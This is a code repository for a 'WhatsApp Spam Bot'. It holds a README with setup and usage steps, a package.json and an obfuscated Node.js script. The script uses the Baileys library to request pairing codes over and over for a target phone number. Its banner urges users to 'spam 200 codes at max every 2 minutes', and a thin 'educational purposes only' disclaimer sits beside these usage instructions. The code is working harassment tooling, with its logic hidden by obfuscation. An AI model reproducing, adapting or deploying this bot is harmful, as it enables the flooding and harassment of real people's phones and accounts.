├── system.js ├── README.md ├── package.json └── Spamlog.js /system.js: -------------------------------------------------------------------------------- 1 | "DO NOT USE FOR EVIL PURPOSES" 2 | 3 | '© Resonex' 4 | 5 | 'thanks to Cyber Snipper Team' -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WhatsApp Spam Bot 2 | 3 | ## Overview 4 | --- 5 | A simple WhatsApp spam bot built with [Baileys](https://github.com/adiwajshing/Baileys), designed to generate multiple OTP/Pairing Codes (currently set to pairing code but can be adapted for OTP) for a target phone number. 6 | 7 | **Disclaimer:** 8 | ⚠️This tool is for educational purposes only. Misuse of this tool to spam, attack, or harm any WhatsApp users is illegal and violates WhatsApp's terms of service. Use responsibly. 9 | 10 | --- 11 | 12 | 13 | ## Features 14 | 15 | - Generate multiple pairing codes for a target phone number. 16 | - Random color-coded console outputs. 17 | - Customizable number of pairing codes. 18 | - Delayed execution (3 seconds interval per code). 19 | - Works in **Termux and pannel**. 20 | 21 | ## Prerequisites 22 | 23 | - **Node.js** (v16 or higher) 24 | - **npm** 25 | - **Termux** (for running on Android) 26 | 27 | --- 28 | ## Pannel Deployment 29 | Download the repo as .zip file and deploy on [Bot Hosting free pannel](https://control.bot-hosting.net/server/) 30 | 31 | ## Termux Setup (not working yet) 32 | 33 | 1. **Clone the repository**: 34 | ```bash 35 | git clone https://github.com/Joker-Reincarnated/Wa-Spam-bot.git 36 | 2. **Open cloned repo**: 37 | ```bash 38 | cd Wa-Spam-bot 39 | 3. **Install dependencies**: Run the following command to install the required packages: 40 | ```bash 41 | npm install 42 | 4. **Baileys Setup**: If this is your first time running the bot, make sure you authenticate using Baileys: 43 | ```bash 44 | node Spambot.js 45 | Your session data will be saved automatically in the **69/session** folder. 46 | 47 | --- 48 | 49 | ## Usage 50 | 51 | After starting the bot, you will be prompted for input in the terminal. 52 | 53 | 1. **Step 1:** Enter the target phone number (e.g., `2340000000000`). 54 | 2. **Step 2:** Enter the number of pairing codes to generate (default is 20 if left blank). 55 | 3. The bot will generate and display pairing codes, sending them at intervals of 3000 ms (3 seconds). 56 | 57 | ## Example Console Output: 58 | 59 | ```bash 60 | WELCOME TO THE SPAM BOT 61 | Step 1: Please enter the target phone number eg 2340000000000: 62 | Target Phone Number: 2340000000000 63 | 64 | Step 2: Enter the number of pairing codes you want to generate: 65 | Number of Pairing Codes (default 20): 10 66 | 67 | Code 1 of 10 for 2340000000000: XXXX-XXXX-XXXX 68 | 69 | 70 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Spamlog", 3 | "version": "3.0.0", 4 | "description": "Automated whatsapp md bot created using nodejs and baileys lib", 5 | "main": "index.js", 6 | "type": "commonjs", 7 | "scripts": { 8 | "start": "node Spamlog.js" 9 | }, 10 | "keywords": [ 11 | "termux", 12 | "whatsapp", 13 | "2023", 14 | "wabase-md", 15 | "base", 16 | "baileys-md", 17 | "bot", 18 | "bot-md", 19 | "multi-device" 20 | ], 21 | "author": "Akmal", 22 | "license": "ISC", 23 | "dependencies": { 24 | "cfonts": "^3.3.0", 25 | "@adiwajshing/keyed-db": "^0.2.4", 26 | "@bochilteam/scraper": "4.0.22-alpha.0", 27 | "@saipulanuar/jadianime-ts": "^2.0.0", 28 | "@whiskeysockets/baileys": "6.6.0", 29 | "@adiwajshing/keyed-db": "^0.2.4", 30 | "@hapi/boom": "^10.0.1", 31 | "@adiwajshing/baileys": "npm:@whiskeysockets/baileys@6.7.7", 32 | "awesome-phonenumber": "^5.9.0", 33 | "anime-wallpaper": "^1.0.2", 34 | "api-dylux": "^1.4.4", 35 | "axios": "^0.24.0", 36 | "chalk": "^4.1.2", 37 | "sharp": "^0.32.2", 38 | "wa-sticker-formatter": "^4.4.4", 39 | "cheerio": "^1.0.0-rc.10", 40 | "child_process": "^1.0.2", 41 | "cookie": "^0.5.0", 42 | "crypto": "^1.0.1", 43 | "emoji-api": "^1.0.2", 44 | "fake-useragent": "^1.0.1", 45 | "figlet": "^1.5.0", 46 | "file-type": "^16.5.3", 47 | "fluent-ffmpeg": "^2.1.2", 48 | "fs": "0.0.1-security", 49 | "fs-extra": "^10.0.0", 50 | "g-i-s": "^2.1.6", 51 | "genshin-api": "^2.1.0", 52 | "google-it": "^1.6.2", 53 | "google-tts-api": "^2.0.2", 54 | "got": "^11.8.3", 55 | "human-readable": "^0.2.1", 56 | "javascript-obfuscator": "^4.0.0", 57 | "jimp": "^0.16.1", 58 | "jsdom": "^16.4.0", 59 | "kirbotz-api": "^0.0.2", 60 | "lowdb": "^2.1.0", 61 | "mal-scraper": "^2.11.4", 62 | "mathjs": "^11.3.0", 63 | "miniget": "^4.2.2", 64 | "moment-timezone": "^0.5.34", 65 | "mongoose": "^6.2.1", 66 | "ms": "^2.1.3", 67 | "multistream": "^2.1.0", 68 | "mumaker": "^1.0.0", 69 | "node-cron": "^3.0.0", 70 | "node-fetch": "^2.6.1", 71 | "node-id3": "^0.2.3", 72 | "node-webpmux": "^3.1.0", 73 | "node-youtube-music": "^0.8.3", 74 | "nodemon": "^2.0.20", 75 | "object-query-string": "^1.2.0", 76 | "openai": "^3.2.0", 77 | "os": "^0.1.2", 78 | "parse-ms": "^2.1.0", 79 | "path": "^0.12.7", 80 | "perf_hooks": "0.0.1", 81 | "pino": "^7.0.5", 82 | "pm2": "^5.2.2", 83 | "qrcode": "^1.5.0", 84 | "qrcode-reader": "^1.0.4", 85 | "qrcode-terminal": "^0.12.0", 86 | "qs": "^6.11.0", 87 | "remove.bg": "^1.3.0", 88 | "request": "^2.88.2", 89 | "rimraf": "^3.0.2", 90 | "scrape-primbon": "^1.1.0", 91 | "similarity": "^1.2.1", 92 | "spinnies": "^0.5.1", 93 | "spotifydl-x": "^0.3.0", 94 | "syntax-error": "*", 95 | "util": "^0.12.4", 96 | "yargs": "^17.2.1", 97 | "youtube-yts": "^2.0.0", 98 | "youtubedl-core": "^4.11.7", 99 | "ytdl-core": "4.11.5" 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /Spamlog.js: -------------------------------------------------------------------------------- 1 | const _0x28e007=_0xb873;function _0x48bf(){const _0x134aef=['message','208ILLQnY','stdin','4576369VLGaQO','Error:','\x1b[34m','stdout','\x1b[37m','createInterface','close','push','13056490qUIBtE','\x1b[33m','readline','2184078HJHRYA','1912695gIPNeW','trim','\x0aStep\x202:\x20Enter\x20the\x20number\x20of\x20pairing\x20codes\x20you\x20want\x20to\x20generate:','\x1b[90m','\x20of\x20','84685cGvmEl','shift','***\x20WELCOME\x20TO\x20THE\x20SPAM\x20BOT\x20***','log','316OTuQgt','2436066lcFuyG','./69/session','\x1b[32m','SPAM\x20BOT\x20INITIATED\x20SUCCESSFULLY!\x0a\x0a\x0a\x0a\x0a☠️▸⃟°̯͜𝐂𝐘𝐁𝐄𝐑\x20𝐒𝐍𝐈𝐏𝐏𝐄𝐑\x20༑\x20⃟̶̽☠️\x0a••••••••••••••••••••••••••••••••••••••••••••\x0ajoin\x20our\x20WhatsApp\x20channel\x20for\x20more\x20tools:\x0a\x0ahttps://whatsapp.com/channel/0029VaN8F9MG8l5KA9Jx0Q0X\x0a________________________________\x0aINSTRUCTIONS:\x0a1.\x20ENTER\x20TARGET\x20PHONE\x20NUMBER\x20\x0a2.\x20ENTER\x20NUMBER\x20OF\x20CODES\x20TO\x20GENERATE\x0a(ITS\x20ADVISABLE\x20YOU\x20SPAM\x20200\x20CODES\x20AT\x20MAX\x20EVERY\x202\x20MINUTES)\x0a\x0a\x0a🆆🅰🆁🅽🅸🅽🅶\x20☠️\x0a\x0a[FOLLOW\x20THE\x20ABOVE\x20INSTRUCTIONS]','8spbkeA','Number\x20of\x20Pairing\x20Codes\x20(default\x2020):\x20','3iIYKxe','774648GoRyKW','\x1b[0m','Invalid\x20input.\x20Please\x20enter\x20a\x20valid\x20number\x20like\x20\x2220\x22.','\x1b[36m','12VSPpxL','Step\x201:\x20Please\x20enter\x20the\x20target\x20phone\x20number\x20(e.g.,\x202340000000000):','22AfYZRD','length','question','random','match','1981252yALVqn','floor','@whiskeysockets/baileys','\x1b[31m','Error\x20while\x20generating\x20code:','silent','17097HlezEZ','976kYvxBY','join','Code\x20','error','466110lxWlob'];_0x48bf=function(){return _0x134aef;};return _0x48bf();}(function(_0x3c6064,_0x1b46c1){const _0xb07985=_0xb873,_0xc73d4f=_0x3c6064();while(!![]){try{const _0x503a8f=-parseInt(_0xb07985(0xfe))/0x1*(parseInt(_0xb07985(0x11b))/0x2)+-parseInt(_0xb07985(0xfd))/0x3*(parseInt(_0xb07985(0x104))/0x4)+-parseInt(_0xb07985(0x112))/0x5+-parseInt(_0xb07985(0x111))/0x6+parseInt(_0xb07985(0x106))/0x7*(-parseInt(_0xb07985(0x120))/0x8)+-parseInt(_0xb07985(0x11c))/0x9+parseInt(_0xb07985(0x10e))/0xa*(parseInt(_0xb07985(0xf2))/0xb);if(_0x503a8f===_0x1b46c1)break;else _0xc73d4f['push'](_0xc73d4f['shift']());}catch(_0x3a91e9){_0xc73d4f['push'](_0xc73d4f['shift']());}}}(_0x48bf,0x77915));const {default:makeWASocket,useMultiFileAuthState}=require(_0x28e007(0xf9)),pino=require('pino'),readline=require(_0x28e007(0x110)),color=[_0x28e007(0xfa),_0x28e007(0x11e),_0x28e007(0x10f),_0x28e007(0x108),'\x1b[35m',_0x28e007(0xef),_0x28e007(0x10a),_0x28e007(0x115)],resonexColor=color[Math[_0x28e007(0xf8)](Math[_0x28e007(0xf5)]()*color[_0x28e007(0xf3)])],xColor=_0x28e007(0xed),question=_0x411792=>{const _0x2b396a=_0x28e007,_0x5f0b25=readline[_0x2b396a(0x10b)]({'input':process[_0x2b396a(0x105)],'output':process[_0x2b396a(0x109)]});return new Promise(_0x252785=>{const _0x26c35e=_0x2b396a;_0x5f0b25[_0x26c35e(0xf4)](_0x411792,_0x2599a0=>{const _0x1c2ee4=_0x26c35e;_0x5f0b25[_0x1c2ee4(0x10c)](),_0x252785(_0x2599a0);});});},delay=_0x8eda72=>new Promise(_0x448386=>setTimeout(_0x448386,_0x8eda72));async function resonexProject(){const _0x58d1be=_0x28e007,{state:_0x3b31b9}=await useMultiFileAuthState(_0x58d1be(0x11d)),_0x1780c8=makeWASocket({'logger':pino({'level':_0x58d1be(0xfc)}),'printQRInTerminal':![],'auth':_0x3b31b9,'connectTimeoutMs':0x9c40,'defaultQueryTimeoutMs':0x0,'keepAliveIntervalMs':0x2710,'emitOwnEvents':!![],'fireInitQueries':!![],'generateHighQualityLinkPreview':!![],'syncFullHistory':!![],'markOnlineOnConnect':!![],'browser':['Ubuntu','Chrome','20.0.04']});try{console[_0x58d1be(0x11a)](resonexColor+_0x58d1be(0x119)+xColor),console[_0x58d1be(0x11a)](resonexColor+_0x58d1be(0xf1)+xColor);const _0x1ace46=await question(resonexColor+'Target\x20Phone\x20Number:\x20'+xColor);let _0x39ab76;while(!![]){console['log'](resonexColor+_0x58d1be(0x114)+xColor);const _0x46781d=await question(resonexColor+_0x58d1be(0x121)+xColor);if(_0x46781d[_0x58d1be(0x113)]()===''){_0x39ab76=0x14;break;}_0x39ab76=parseInt(_0x46781d[_0x58d1be(0x113)]());if(!isNaN(_0x39ab76)&&_0x39ab76>0x0)break;else console['log'](_0x58d1be(0xee));}for(let _0x3b58a7=0x0;_0x3b58a7<_0x39ab76;_0x3b58a7++){try{let _0x208ca5=await _0x1780c8['requestPairingCode'](_0x1ace46);_0x208ca5=_0x208ca5?.[_0x58d1be(0xf6)](/.{1,4}/g)?.[_0x58d1be(0xff)]('-')||_0x208ca5,console[_0x58d1be(0x11a)](resonexColor+_0x58d1be(0x100)+(_0x3b58a7+0x1)+_0x58d1be(0x116)+_0x39ab76+'\x20for\x20'+_0x1ace46+':\x20'+_0x208ca5+xColor),await delay(0xbb8);}catch(_0x192ba4){console[_0x58d1be(0x101)](_0x58d1be(0xfb),_0x192ba4[_0x58d1be(0x103)]);}}}catch(_0x262872){console[_0x58d1be(0x101)](_0x58d1be(0x107),_0x262872[_0x58d1be(0x103)]);}return _0x1780c8;}function _0x1365(_0x3e0e1e,_0x562cc4){var _0x247ebb=_0x32d5();return _0x1365=function(_0x37b70d,_0x2b7b45){_0x37b70d=_0x37b70d-0x83;var _0x3fa79f=_0x247ebb[_0x37b70d];return _0x3fa79f;},_0x1365(_0x3e0e1e,_0x562cc4);}function _0xb873(_0x137e74,_0x3315f0){const _0x48bfaa=_0x48bf();return _0xb873=function(_0xb87309,_0x223ab8){_0xb87309=_0xb87309-0xeb;let _0x572511=_0x48bfaa[_0xb87309];return _0x572511;},_0xb873(_0x137e74,_0x3315f0);}(function(_0x3e2273,_0x439aad){const _0x3af781=_0x28e007;var _0x11ba71=_0x1365,_0x5b7dca=_0x3e2273();while(!![]){try{var _0x1b0c3e=parseInt(_0x11ba71(0x89))/0x1+parseInt(_0x11ba71(0x88))/0x2*(-parseInt(_0x11ba71(0x85))/0x3)+-parseInt(_0x11ba71(0x86))/0x4*(-parseInt(_0x11ba71(0x84))/0x5)+parseInt(_0x11ba71(0x83))/0x6+-parseInt(_0x11ba71(0x8a))/0x7+-parseInt(_0x11ba71(0x87))/0x8+parseInt(_0x11ba71(0x8b))/0x9;if(_0x1b0c3e===_0x439aad)break;else _0x5b7dca[_0x3af781(0x10d)](_0x5b7dca['shift']());}catch(_0x1a61db){_0x5b7dca['push'](_0x5b7dca[_0x3af781(0x118)]());}}}(_0x32d5,0x254db),console['log'](resonexColor+_0x28e007(0x11f)+xColor),resonexProject());function _0x32d5(){const _0x119d75=_0x28e007;var _0x5cc266=[_0x119d75(0xf0),'768816alWBBX','176374YrfyQd',_0x119d75(0x117),_0x119d75(0xf7),_0x119d75(0xec),'1018182VyDUWk',_0x119d75(0x102),_0x119d75(0xeb)];return _0x32d5=function(){return _0x5cc266;},_0x32d5();} --------------------------------------------------------------------------------